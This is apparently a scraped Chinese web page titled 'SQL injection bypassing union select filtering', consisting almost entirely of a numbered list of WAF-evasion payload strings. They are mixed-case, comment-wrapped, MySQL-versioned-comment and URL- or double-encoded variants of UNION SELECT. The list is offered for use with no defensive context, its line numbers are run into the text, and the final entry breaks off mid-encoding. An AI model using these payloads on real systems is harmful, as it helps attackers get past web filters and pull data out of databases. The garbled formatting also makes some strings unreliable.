sql注入繞過union select過濾

標籤：ever   with   passing   nbsp   --   ring   過濾   注入   noi   

  1 #  2 #  3 #  4 #WAF Bypassing Strings:  5    6  /*!%55NiOn*/ /*!%53eLEct*/  7    8  %55nion(%53elect 1,2,3)-- -  9   10  +union+distinct+select+ 11   12  +union+distinctROW+select+ 13   14  /**//*!12345UNION SELECT*//**/ 15   16  /**//*!50000UNION SELECT*//**/ 17   18  /**/UNION/**//*!50000SELECT*//**/ 19   20  /*!50000UniON SeLeCt*/ 21   22  union /*!50000%53elect*/ 23   24  +#uNiOn+#sEleCt 25   26  +#1q%0AuNiOn all#qa%0A#%0AsEleCt 27   28  /*!%55NiOn*/ /*!%53eLEct*/ 29   30  /*!u%6eion*/ /*!se%6cect*/ 31   32  +un/**/ion+se/**/lect 33   34  uni%0bon+se%0blect 35   36  %2f**%2funion%2f**%2fselect 37   38  union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A 39   40  REVERSE(noinu)+REVERSE(tceles) 41   42  /*--*/union/*--*/select/*--*/ 43   44  union (/*!/**/ SeleCT */ 1,2,3) 45   46  /*!union*/+/*!select*/ 47   48  union+/*!select*/ 49   50  /**/union/**/select/**/ 51   52  /**/uNIon/**/sEleCt/**/ 53   54  /**//*!union*//**//*!select*//**/ 55   56  /*!uNIOn*/ /*!SelECt*/ 57   58  +union+distinct+select+ 59   60  +union+distinctROW+select+ 61   62  +UnIOn%0d%0aSeleCt%0d%0a 63   64  UNION/*&test=1*/SELECT/*&pwn=2*/ 65   66  un?+un/**/ion+se/**/lect+ 67   68  +UNunionION+SEselectLECT+ 69   70  +uni%0bon+se%0blect+ 71   72  %252f%252a*/union%252f%252a /select%252f%252a*/ 73   74  /%2A%2A/union/%2A%2A/select/%2A%2A/ 75   76  %2f**%2funion%2f**%2fselect%2f**%2f 77   78  union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A 79   80  /*!UnIoN*/SeLecT+ 81   82 ## 83 # 84 # 85 #Union Select by PASS with Url Encoded Method: 86   87    %55nion(%53elect) 88   89    union%20distinct%20select 90   91    union%20%64istinctRO%57%20select 92   93    union%2053elect 94   95    %23?%0auion%20?%23?%0aselect 96   97    %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect 98   99    %55nion %53eLEct100  101    u%6eion se%6cect102  103    unio%6e %73elect104  105    unio%6e%20%64istinc%74%20%73elect106  107    uni%6fn distinct%52OW s%65lect108  109    %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

 

sql注入繞過union select過濾